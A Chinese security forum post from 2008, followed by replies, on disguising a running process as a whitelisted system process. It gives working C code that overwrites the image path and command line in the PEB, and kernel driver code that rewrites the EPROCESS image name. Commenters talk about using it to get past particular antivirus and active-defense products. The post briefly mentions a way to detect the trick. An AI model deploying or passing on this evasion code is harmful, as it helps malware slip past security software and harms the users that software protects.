首页
论坛
课程
招聘

[系统底层] [原创]运行期修改可执行文件的路径和Command Line

2008-1-4 17:56 27617

[系统底层] [原创]运行期修改可执行文件的路径和Command Line

2008-1-4 17:56
27617
cc682/NetRoc
      目前的很多主动防御工具和反XX系统,在对特定进程进行保护的时候,出于兼容性的考虑,都会保留一些白名单。特别是一些系统进程,例如csrss.exe、svchost.exe等等。而针对这些系统进程,判断是否在白名单中的方式,为了简便起见经常采用取系统路径、可执行文件名的方式。
    内核中比较明显的能够取到可执行文件路径的方法有下面几个:
1、        通过PEB. ProcessParameters -> ImagePathName取得可执行文件路径,通过PEB. ProcessParameters -> CommandLine取得执行的命令行,以及PEB. ProcessParameters里面其他几个成员取得其他一些相关的路径信息。
2、        通过nt!_EPROCESS的ImageFileName取得。
3、        通过nt!_EPROCESS:: SeAuditProcessCreationInfo:: ImageFileName取得。
4、        通过和_EPROCESS相关的文件对象信息取得。
    常见的方式一般只有1、2两种。而上述的前三种方式都可以在运行时被修改掉,用来进行欺骗。特别是PEB里面的信息由于在ring3直接就可以访问,实现上来说非常简单。
    下面这段代码通过NtQueryInformationProcess拿到PEB,然后修改路径信息:
HMODULE hMod = GetModuleHandle( _T( "ntdll.dll"));
        pfnNtQueryInformationProcess p = (pfnNtQueryInformationProcess)::GetProcAddress( hMod, "NtQueryInformationProcess");
       
        PROCESS_BASIC_INFORMATION stInfo = {0};
        DWORD dwRetnLen = 0;
        DWORD dw = p( GetCurrentProcess(), ProcessBasicInformation, &stInfo, sizeof(stInfo), &dwRetnLen);
       
        PPEB pPeb = stInfo.PebBaseAddress;

        WCHAR wszFullPath[MAX_PATH] = {0};
        WCHAR wszTmp2[MAX_PATH] = {0};
        wcscpy( wszFullPath, wszPath);
        MultiByteToWideChar( CP_THREAD_ACP, 0, szName, -1, wszTmp2, MAX_PATH);
        wcscat( wszFullPath, wszTmp2);
       
        wcscpy( pPeb->ProcessParameters->ImagePathName.Buffer, wszFullPath);
        pPeb->ProcessParameters->ImagePathName.Length = wcslen( wszFullPath) * sizeof(WCHAR);
       
        int nParamStart = 0;
        WCHAR *wszTmp = new WCHAR[pPeb->ProcessParameters->CommandLine.MaximumLength];
        ZeroMemory( wszTmp, sizeof(WCHAR) * pPeb->ProcessParameters->CommandLine.MaximumLength);
       
        wcscpy( wszTmp, pPeb->ProcessParameters->CommandLine.Buffer);
       
        if ( pPeb->ProcessParameters->CommandLine.Buffer[0] == '"')
        {
                for ( int i = 1; i < pPeb->ProcessParameters->CommandLine.Length / 2; i++)
                {
                        if ( pPeb->ProcessParameters->CommandLine.Buffer[i] == '"')
                        {
                                nParamStart = i;
                        }
                }
        }
       
        if ( nParamStart != 0)
        {
                if ( pPeb->ProcessParameters->CommandLine.Buffer[0] == '"')
                {
                        pPeb->ProcessParameters->CommandLine.Buffer[0] = NULL;
                        wcscat( pPeb->ProcessParameters->CommandLine.Buffer, L"\"");
                }
                else
                {
                        pPeb->ProcessParameters->CommandLine.Buffer[0] = NULL;
                }
                wcscat( pPeb->ProcessParameters->CommandLine.Buffer, wszFullPath);
                wcscat( pPeb->ProcessParameters->CommandLine.Buffer, wszTmp + nParamStart);
        }
        delete[] wszTmp;
    这个方式可以欺骗通过toolhelp函数枚举出来的模块路径,以及直接读取PEB获取进程主模块路径的方式。
    另外,通过修改EPROCESS中的主模块名信息,可以欺骗一些在驱动层的程序。基本的代码如下:
    首先需要获取EPROCESS里面ImageFileName的偏移。这个函数必须在DriverEntry里面调用。
ULONG GetNameOffsetInEProcss()
{
        PEPROCESS pProcess = NULL;
        ULONG i = 0;

        pProcess = PsGetCurrentProcess();
        for ( i = 0; i < 0x1000; i++)
        {
                if ( strncmp( "System", (PUCHAR)pProcess + i, strlen("System")) == 0)
                {
                        return i;
                }
        }
        return 0;
}
    然后可以在IoCtrl里面修改当前进程的名字:
case IOCTL_CHANGE_EXENAME:
                        szName = (char*)Irp->AssociatedIrp.SystemBuffer;
                        if ( !szName)
                        {
                                ntStatus = STATUS_UNSUCCESSFUL;
                                break;
                        }
                        pEProcess = PsGetCurrentProcess();
                        strncpy( (PCHAR)pEProcess + g_NameOffsetInEProcess, szName, 16);
                        ntStatus = STATUS_SUCCESS;
                        break;
    由于只是示例,所以只实现了良种方式。修改SeAuditProcessCreationInfo里面的信息,考虑到兼容性问题,可能稍微复杂一点。不过也可以比较容易的实现。
    这种方式的伪装可以穿过多少主动防御工具没有试过,大家可以去看看,哈哈。
    至于对付的方式,可以通过上面说的第四种取进程路径的方法。不过就比较复杂了,呵呵。
    流程就是,通过EPROCESS的SectionObject获得文件的FilePointer,通过ObQueryNameString取得这个对象的名字。然后就可以取得主映像模块的路径了。详细的代码可以参考wrk中NtQueryInformationProcess的相关实现。
下面是实现的代码:

[推荐]看雪企服平台,提供项目众包、渗透测试、安全分析、定制项目开发、APP等级保护等安全服务!

上传的附件:
最新回复 (39)
一块三毛钱 11 2008-1-4 18:05
2
0
强悍,顶一下!
huajt2004 2008-1-4 18:16
3
0
高,佩服!!
forgot 26 2008-1-4 18:40
4
0
太有才了,顶
forgot 26 2008-1-4 19:09
5
0
海风月影 17 2008-1-4 19:14
6
0
很强,我记得某个explorer.exe就是伪装版的explorer.exe
sudami 25 2008-1-4 19:56
7
0
思路好新颖啊~

马上试下看能不能过微点~~~~
xzchina 1 2008-1-4 21:00
8
0

牛人
RyoKou 1 2008-1-4 21:19
9
0
顶。。。。。。。。
lsuper 2008-1-4 21:28
10
0
强悍! 支持一把啊
binliao 2008-1-4 22:32
11
0
思路好新颖啊,慢慢消化。
asd 2008-1-4 22:45
12
0
szdbg 5 2008-1-4 23:07
13
0
强贴,不得不顶。。。
HSQ 8 2008-1-5 16:37
14
0
也来试用一下
qyc 4 2008-1-6 00:47
15
0
是你的防忽悠吧 ,!!
Bughoho 8 2008-1-6 01:22
16
0
好 贴 必 顶
foxabu 13 2008-1-6 10:36
17
0
Cheat Engine
曾半仙 9 2008-1-6 16:37
18
0
嘿嘿, 一边坏笑一边毒毒地试用了...
jevonsmmx 2008-1-6 17:33
19
0
真牛啊。。。。
火翼[CCG] 6 2008-1-10 15:33
20
0
好贴,顶
流动的情感 4 2008-1-16 09:59
21
0
不顶不行啊。 正在学习反主动防御 好东东啊。。
combojiang 26 2008-1-16 10:45
22
0
好文,学习。。。
快雪时晴 4 2008-1-16 11:10
23
0
想法决定成败,强!
如果路径可以欺骗,那么MD5(exe文件)也就完全失效了,不仅穿越不少主动防御系统,
我想大部分防火墙估计都完蛋了,形同虚设。

估计该贴技术马上被病毒设计院引进了
流动的情感 4 2008-1-16 12:21
24
0
楼上的讲的不错。
但还有个问题要解决
我试了楼主的方法
程序必须启动在杀毒软件或防火墙之前 否则是无效的
因为杀毒软件在程序运行的时候记录下了路径。
nuke 2008-3-11 15:05
25
0
正好在找这些结构,
之前编译器中PPEB的结构信息不全,
老是 left of 'ProcessParameters' specifies undefined struct/union '_PEB'
这次自己手动加这些结构就OK了
还有个情况,用NtQueryInformationProcess查询其他进程信息的时候
pPeb->ProcessParameters->ImagePathName.Buffer
遇到services.exe, svchost.exe或者瑞星的rav/ccenter.exe的时候都会崩溃
怎么作个判断让程序不崩呢
菜菜小J 2008-3-16 19:53
26
0
留下脚印便于学习。感谢。
lOOp 2008-3-17 12:20
27
0
收藏分。。。
zilaiye 2008-3-17 18:42
28
0
牛,留下脚印学习!
metalqiang 2008-3-18 02:41
29
0
很强大
aleon 2008-3-28 10:33
30
0
不错,好文章。收了
justlovemm 2008-3-28 13:15
31
0
好东西,收藏
dubingxin 2008-3-29 16:38
32
0
真的很强啊!佩服
xiejienet 2008-4-8 20:53
33
0
不懂,留个脚印
zuoyefeng 2008-4-10 15:20
34
0
杀毒软件防火墙会保存系统文件的hash的
这种方法照理不可行
不过也不排除某些弱智软件
orichi 2008-4-25 16:48
35
0
从这里学好不少技术
reebox 2008-6-11 10:38
36
0
新的思路,学习中
winndy 17 2008-6-11 13:58
37
0
c哥最近比较有时间写教材啊
maokebied 2008-6-11 15:56
38
0
进来膜拜!!!~~
shellkit 2008-6-11 16:50
39
0
曾经想找一点这方面的看看, 原来是老帖子 - -
adwardwang 2008-11-4 00:03
40
0
自己刚有这样的想法,一搜索,牛人都贴出来半年多了,呵呵
游客
登录 | 注册 方可回帖
返回